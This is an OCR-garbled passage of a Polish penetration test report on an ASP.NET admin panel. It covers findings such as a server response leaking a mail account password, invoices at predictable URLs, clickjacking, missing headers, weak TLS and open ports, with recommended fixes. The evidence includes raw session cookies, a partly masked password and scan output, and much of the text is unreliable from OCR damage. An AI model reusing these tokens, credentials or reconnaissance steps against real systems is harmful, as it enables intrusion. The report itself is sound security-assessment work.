ASP.NET SessionId=jb4ivjlf5sjkdy3x0xaab3wi

Connection: close
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Odpowiedz:

Runtime Error x | &

Ml Offensive Security e, Kali Linwe & Kali Docs @ Kali Tools KExploit-DB Wy Alrcrack-ng @ Kall Forums % NetHunter [ Most Visited v

¥

Server Error in /' Application.
Runtime Error

Description: S applesaton snof cooiEned on B sensel. The CETEN CLEIM SO0 Semngs 1o this spphe ation [eevent the detals of B aploston sror from beng wiswed remotely [l
sty reasons). I could, however, be viewed by Beowsers running on fhe boal serves machine

Details; To erabie e delnd of the wpecfic mrm mes sage IS be vieweable on remobe machines, please creaie a 2ousiomErors = Isg wiln a web conlfig” configuerabion fie beated n the rook
o pclary of e curder veel apsplcater The ooeurbomiEir o i Bag ookl e hired B4 “Frasde™ att e 40t 10 “OF

el--

Web.Config Configuration File

-

<configurations
<SS TEm . web>
=¢customErrors mode="01f"/>
</system.web>
<fconfiguration=

Moles! The Cufieml cifdd (A Vi AN Seerg Can e reaplet ed Iy & Cusiem &rnor Dage by modiying he "deladafednecr aoriune of e )l A0S oo Wil o4 Sonifgpus aldsi L 10 gl 1
& CUEACTS & Tor s LIRL

<l-- Web.Config Configuration File --»

zconfiguration=

=25ystem. web=
=customErrors modes

</system.web>

<feanfiguration>

"Remotednly” defaultRedirect="mycustompage.htm"/>

3.4 Ujawnienie poufnych informaciji

3.4.1 Opis

Podatnos¢ ta wystepuje, gdy wrazliwe dane zostajg ujawnione przez

aplikacje. Klasyfikacja tej podatnoéci zalezy od danych, ktére uzytkownik moze
zobaczyc.

3.4.2 Rekomendacje naprawy

Aplikacja ujawnia dane, ktore nie powinny by¢ widoczne dla normalnego
uzytkownika aplikaciji..

3.4.3 Dodatkowe informacje

CWE-200

http://cwe.mitre.org/data/definitions/200.html
OWASP
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https://www.owasp.org/index.php/Information_Leakage

3.4.4 Dowody

W odpowiedziach serwer ujawnia informacje o uzytycj technologiach ktére moge byé
przydatne w dalszych atakach:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/10.0

Set-Cookie: XXXXX=32b8ad4de-aB83d-45c8-8471-927e301a9b69;
expires=Mon, 10-Dec-2018 12:52:31 GMT; path=/; HttpOnly
X-AspNetMvc-Version: 5.1

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Hasto do konta pocztowego nie jest wyswietlane na frontendzie, ale jest ono
ujawniane w odpowiedzi serwera:

Zadanie

POST /Admin/EmailAccount/List?email-accounts-grid-size=10
HTTP/1.1

Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept: text/plain, */*; g=0.01

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

Referer: http://XXXXX/Admin/EmailAccount/List
Content-Length: 26

Cookie: XXXXX=32b8ad4de-a83d-45c8-8471-927e301a9b69;
XXXXX=1DA70ECCBA87A020C16937DCF3C4747084D17235B5ER6FI9B9994RA
OCFDF277A8RA4B153B572D20114FC112636621D61238E6DCC5E3521FDF8438
8E90D90328890CB83C02E5BOB33845F7A2C0ODD20DCBC7260F9FA250DAD06
381E3E1DBOEFOCE8FCT79F6F61E1B498E32BC00C86D030326516AD72A5786
BF2C2043BAB80F363951962EAB553725582B3EC3DB140E7414071A7TE3FOE
63D805AEQ7EF9CAAOSECCAFTB3261ECA2D826368D0884AAA41BD7ESCD346
DDOB734C5231A55ECC60B1310333A23337BC53318C84169F9EFEE473454D
CB86502B77947BCA1AF3885DEACDE240B9047CDC1ADS5996D3A06CDA35CBRB
21E82E; selectedTabIndex=%7B%22tabStripName$22%3A%22invoice-
edit-tabstrip%22%2C%22tabIndex%$22%3A1%7D;

ASP.NET SessionId=jb4ivjlf5sjkdy3x0xaab3wi

Connection: close

page=l&size=10&SearchTerm=

Odpowiedz
| HTTP/1.1 200 OK
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Cache-Control: private

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/10.0

Set-Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b69;
expires=Tue, 13-Nov-2018 19:24:14 GMT; path=/; HttpOnly
X-AspNetMvc-Version: 5.1

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Mon, 13 Nov 2017 19:24:13 GMT

Connection: close

Content-Length: 358

{"data": [{"Email" :"pxxxx@xxxx.pl","DisplayName":"xxxxx.pl",6 "
Host":"serwerxxxxx.pl", "Port":587, "Username" : "pxxxx@xxxx.pl"
, "Password":"d!xxxxxxxx","EnableSsl":false, "UseDefaultCreden
tials":false,"IsDefaultEmailAccount":true, "SendTestEmailTo":
null, "EmailAccountId":0,"Id":22, "CustomProperties":{}}],"tot
al":1}

Pod przewidywalnym adresem
serwer/Media/Documents/invoices/nazwapliku.pdf znajdujq sie faktury
uzytkownikéw wraz z poufnymi informacjami dostepnymi dla kazdego znajacego
adres:

Faktura Korygujgea 201/17

Doy wywtwrim
16-01-107
Narmer Aabiury bory pame

1012007
SAATPOLN

Pracd kowckea
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Przewidywalne nazwy pozwalaja na odkrycie kolejnych dokumentéw:

Faktura Korygujgca 3/01/17

Diats wyitrwicnis 2
23012017

Numer Sxbivry ko o

I!.I}LHT

Drags wynitawicma fakiay borypowase

24-01-27

Mhaiets Eslerenry onrioina

JANIIPOLN

3.5 Brak ochrony przed Cross-Frame Scripting

3.5.1 Opis

XFS jest skrotem od Cross-Frame Scripting. Oznacza on grupe podatnosci
mozliwych do wykorzystania w sytuacji, kiedy aplikacja pozwala na osadzenie jej
wewnatrz ramki na stronie atakujgcego. Aplikacja pozwala atakujgcemu na
zatadowanie jej wewnatrz znacznika <iframe> (ramki).

Atakujacy moze wykorzystaé¢ tg luke do przeprowadzania szeregu réznych
atakow typu: Clickjacking, Reverse Clickjacking, CSRF oraz XSS (ukrywanie
ataku przed ofiarg).

3.5.2 Rekomendacje naprawy

Nalezy zastosowac¢ nagtowek odpowiedzi "X-Frame-Options". Nagtowek X-
Frame-Options wskazuje przegladarce czy ma wyswietli¢ zawartos¢ strony w
ramce (<iframe>).

3.5.3 Dodatkowe informacje

CWE-200

http://cwe.mitre.org/data/definitions/200.html

OWASP
https://www.owasp.org/index.php/Information_Leakage

3.5.4 Dowody

Mozliwe jest zatadowanie strony w ramke:
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file:///root/Deskto N test. htm . % B

M Offensive Security %, Kali Linux @ Kali Docs @ Kali Tools . Exploit-DB WyAircrack-ng & Kali Forums s Nef

Website is vulnerable to clickjacking!

Moje dane
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ZAGROZENIA NISKIE

4.1 Brak nagtéwka “X-Content-Type-Options=nosniff”

4.1.1 Opis

W odpowiedzi serwera nie ma nagtdwka HTTP "X-Content-Type-Options" z
ustawiong wartoscig nosniff. Brak tego nagtdwka powoduje, ze niektére
przegladarki prébujg okresli¢ typ zawartosci i kodowanie odpowiedzi, nawet jesli
te sg poprawnie zdefiniowane. Moze to spowodowaé, ze aplikacja internetowa
bedzie narazona na ataki typu Cross-Site Scripting (XSS). Na przyktad. Internet
Explorer i Safari traktujg odpowiedzi z tekstem typu content / plain jako HTML,
jesli zawierajg tagi HTML.

4.1.2 Rekomendacje naprawy
Nalezy ustawi¢ nastepujacy nagtdwek HTTP co najmniej we wszystkich
odpowiedziach, ktore zawierajg dane wprowadzone przez uzytkownika:
X-Content-Type-Options: nosniff

4.1.3 Dodatkowe informacje

OWASP
https://www.owasp.org/index.php/Sniffing_application_traffic_attack

4.2  Brak nagtéwka “X-XSS-Protection: 1; mode=block”

4.2.1 Opis
W odpowiedzi serwera nie ustawiono nagtéwka X-XSS-Protection. Oznacza
to, ze przegladarka uzywa domysinego zachowania a wykryte przez nig ataki
typu cross-site scripting nie zostang zablokowane.

4.2.2 Rekomendacje naprawy

W odpowiedzi serwera nalezy ustawi¢ nastepujgcy nagtowek:
X-XSS-Protection: 1; mode=block

4.2.3 Dodatkowe informacje

OWASP
https://www.owasp.org/index.php/Security_Headers
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4.3 Problemy z certyfikatem SSL

4.3.1 Opis

Atak typu BEAST pozwalaja na rozszyfrowanie danych przesytanych
protokotem TLS w wersji 1.0 (i SSL 3.0). Protokoty te sg miedzy innymi sktadowg
HTTPS i chronig transmisje danych pomiedzy webserwerem a przegladarka.

4.3.2 Rekomendacje naprawy
Wytaczy¢ obstuge TLS w wers;ji 1.0.
4.3.3 Dodatkowe informacje

OWASP
https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuf
ficient_Transport_Layer Protection_ (OTG-CRYPST-001)

4.3.4 Dowody
Wynik dla 91.XXXXXXX:8172

Testing vulnerabilities

Heartbleed (CVE-2014-0160) vulnerable (0K), no heartbeat extensio
CCS (CVE-2014- vulnerable (0K)
Ticketbleed (C 244) iment. vulnerable (0K), no session ticke
Secure Renegotia (CVE-2¢€ vulnerable (OK)
Secure Client-Initiated Renegotiation
CRIME, TLS (CVE-2012-4929)
BREACH (CVE-2013-3587) no HTTP compression (0OK) - only supplied "/" tested
POODLE, SSL (CVE-2014-3566) not vulnerable (0K)
TLS_FALLBACK_SCSV ( 7507) D rade at vention NOT
SWEET32 (CVE-201i CVE-2016-6329) VULNERABLE, 4 bit block ciph
FREAK (CVE-: not vulnerable (0K)
not vulnerable on this host and port (OK)
make sure you don't use this certificate e where with enabled services
https://censys.io/ipv4?7q=4C7DAS03EB5B589C77 3 618, DC39DED5A4D01BD5992B733168D could help you to find out
INGIAM _(CVF-2A15-4RAA) __avn anta nn NH_EXPORT ci c
BEAST (CVE-2011-3389) TLS1: ECDHE-RSA-AES256-SHA ECDHE-RSA-AES128-SHA AES256-SHA
AES128-SHA DES-CBC3-SHA
VULNERABLE -- but also suppoerts higher protocols {(possible mitigation): TLSw1l.1 TLSv1.2
LUCKY13 (CVE-201 9), ex enta potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
RC4 (CVE-2013- 3
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5.1 Duza ilos¢ otwartych portow

5.1.1 Opis

Wykryto ze serwer posiada duzg ilos¢ portéw, ktére mogg stanowic
potencjalne punkty wejscia dla atakujgcego.

5.1.2 Rekomendacje

Nalezy zweyfikowaé liste otwartych portéw i zamkngé te, ktére nie sag
niezbedne do poprawnego dziatania aplikaciji.

5.1.3 Dodatkowe informacje
OWASP
https://www.owasp.org/index.php/Top_10_2014-

I3_Insecure_Network Services

5.1.4 Dowody

PORT STATE SERVICE VERSION

21/tcp open ftp Gene6 ftpd 3.10.0 build 15
25/tcp open  smtp?

80/tcp open http Microsoft IIS httpd 10.0

113/tcp closed ident
443/tcp open  https?

1538/tcp open  msrpc Microsoft Windows RPC
1539/tcp open  msrpc Microsoft Windows RPC
1542/tcp open  msrpc Microsoft Windows RPC

1720/tcp open h323q931>?
1801/tcp open msmqg?

2103/tcp open  msrpc Microsoft Windows RPC
2105/tcp open  msrpc Microsoft Windows RPC
2107/tcp open  msrpc Microsoft Windows RPC
5060/tcp open  sip?

7003/tcp open http Microsoft HTTPAPI httpd 2.0

8172/tcp open ssl/http Microsoft IIS httpd 10.0

5.2  Brak polityki mocnych haset

5.2.1 Opis

Najbardziej rozpowszechnionym i najtatwiej administrowalnym mechanizmem
uwierzytelniania jest statyczne hasto. Hasto reprezentuje klucz do banku, ale
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czesto jego znaczenie jest lekcewazone przez uzytkownikdw w imie
uzytecznosci. W kazdym z ostatnich wyciekéw, ktére ujawnity poswiadczenia
uzytkownikéw, odkrywa sie, ze najczesciej uzywane hasta to nadal: 123456,
password i gwerty.

5.2.2 Rekomendacje

Nalezy rozwazyé wprowadzenie ~mechanizmu wymuszajgcego na
uzytkownikach stosowania mocnych haset.

5.2.3 Dodatkowe informacje
OWASP
https://www.owasp.org/index.php/Testing_for Weak password_policy (OTG-
AUTHN-007)
5.2.4 Dowody

Zadanie:

POST /Admin/Customer/Edit/66 HTTP/1.1

Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9
, */*;9=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXXXX/Admin/Customer/Edit/66

Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=6766078B8DC65E00BIACALIEO8FB8946280C5756D52BD80D
99B64AEDBAOD92A36C865BAD17F7B64D004B53614C98286B86C55
0CC994DD1FB10202F8EOSE8D1895097BD5AF6E47C40CE6OF3B3CD
D6A49A48DC56D4583000126BOLEOEF58F89216CABABADB6BC6380
FAC4EAD7B45D382297C91200D7415F5BE809547BD64A65ATEE2AD
F29391901405A78822475A4C9C1A36478ABB22080E8DA37766F27
EDO01FC99444422696C26827944FBA6DODFFDF5D562615FA3E3ELB
518CF2D147F9766090ADDCEC78B2798C3DCF6F5577BDD6B29BFE7
282680196E2F521085943161D1D88460110FF9714745FBACO7EF9
B7A355C07;
selectedTabIndex=%7B%22tabStripName%$22%3A%22customer—
edit-tabstrip%$22%2C%22tabIndex%$22%3A0%7D;

ASP.NET SessionId=md4fvihthlo5laggbvj2c52fd
Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 939

Id=66&LastLoginDate=&UpdateDate=2015-10-

24+22%3A20%3A13&PasswordFormatId=0&IsSystemAccount=Fa
lse&SystemName=&External Id=0&Active=true&Active=false
&Email=asdasd%40adsad.pl&MobilePhone=michal.kedziorl4
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78%40gmail.com&Password=test&newpassword=test&AdminCo
mment=&CreateDate=2015-09-
[...]

Odpowiedz:

A UDTKOWNICY » O KONFIGURAGIA »  WISTSIEM ¥ & FUMUG ¥
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